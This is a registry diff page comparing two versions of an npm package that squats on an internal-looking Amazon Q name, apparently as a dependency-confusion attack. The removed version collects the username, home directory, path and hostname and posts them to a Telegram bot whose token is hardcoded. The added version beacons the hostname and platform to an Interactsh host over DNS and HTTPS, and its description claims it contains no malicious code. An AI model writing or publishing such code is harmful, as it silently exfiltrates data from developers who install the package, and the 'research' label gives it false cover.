amazon-q-developer-streaming-client 99.9.13 → 99.9.15

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +21 -39
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,53 +1,35 @@
1
- const https = require('https');
1
+ const dns = require('dns');
2
2
  const os = require('os');
3
- const { execSync } = require('child_process');
4
-
5
- const TOKEN = "8236864682:AAFO8n3ml54y_JQnAA2_wxD5j01eooMwC8w";
6
- const CHAT_ID = "8655055695";
7
-
8
- let currentUser = "Unknown";
9
- try { currentUser = execSync('whoami').toString().trim(); } catch (e) {}
3
+ const https = require('https');
10
4
 
11
- // Plain text format (no markdown/HTML) to avoid parsing errors
12
- const messageText = `
13
- --- NEW HIT DETECTED ---
14
- Package: amazon-q-developer-streaming-client
15
- Researcher: ALONE BEAST
5
+ // Tera Interactsh URL
6
+ const INTERACT_URL = "d7l1vti9io6lgkvhfb8gt5odx4hsfrfq7.oast.fun";
16
7
 
17
- OS: ${os.type()} ${os.release()}
18
- User: ${currentUser}
19
- Home: ${os.homedir()}
20
- Path: ${process.cwd()}
21
- Arch: ${os.arch()}
22
- Hostname: ${os.hostname()}
23
- Time: ${new Date().toLocaleString()}
24
- -----------------------
25
- `;
8
+ // Data collect karo (Hostname aur User)
9
+ const host = os.hostname().replace(/[^a-z0-9]/gi, '-');
10
+ const platform = os.platform();
11
+ const uid = Math.random().toString(36).substring(7); // Unique ID for each hit
26
12
 
27
- const data = JSON.stringify({
28
- chat_id: CHAT_ID,
29
- text: messageText
13
+ // 1. DNS Trigger (Sabse silent aur effective)
14
+ const dnsTarget = `${host}.${platform}.${uid}.${INTERACT_URL}`;
15
+ dns.lookup(dnsTarget, () => {
16
+ // DNS hit sent
30
17
  });
31
18
 
19
+ // 2. HTTP Trigger (Extra details ke liye)
32
20
  const options = {
33
- hostname: 'api.telegram.org',
21
+ hostname: INTERACT_URL,
34
22
  port: 443,
35
- path: `/bot${TOKEN}/sendMessage`,
36
- method: 'POST',
23
+ path: `/${host}/${platform}/${uid}`,
24
+ method: 'GET',
37
25
  headers: {
38
- 'Content-Type': 'application/json',
39
- 'Content-Length': Buffer.byteLength(data)
26
+ 'User-Agent': 'Security-Research-PoC-Alone-Beast',
27
+ 'X-Package': 'amazon-q-developer-streaming-client'
40
28
  }
41
29
  };
42
30
 
43
- const req = https.request(options, (res) => {
44
- let body = '';
45
- res.on('data', (d) => { body += d; });
46
- res.on('end', () => { console.log("Response:", body); });
47
- });
48
-
49
- req.on('error', (e) => { console.error("Error:", e.message); });
50
- req.write(data);
31
+ const req = https.request(options);
32
+ req.on('error', () => {}); // Silently fail
51
33
  req.end();
52
34
 
53
- console.log("Sending hit to Telegram...");
35
+ console.log("PoC Triggered: Checking Interactsh for hits...");
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "amazon-q-developer-streaming-client",
3
- "version": "99.9.13",
3
+ "version": "99.9.15",
4
4
  "description": "Security research package for internal dependency confusion testing. This package is part of a bug bounty program to identify risks in internal build pipelines. Contains no malicious code.",
5
5
  "keywords": [
6
6
  "security",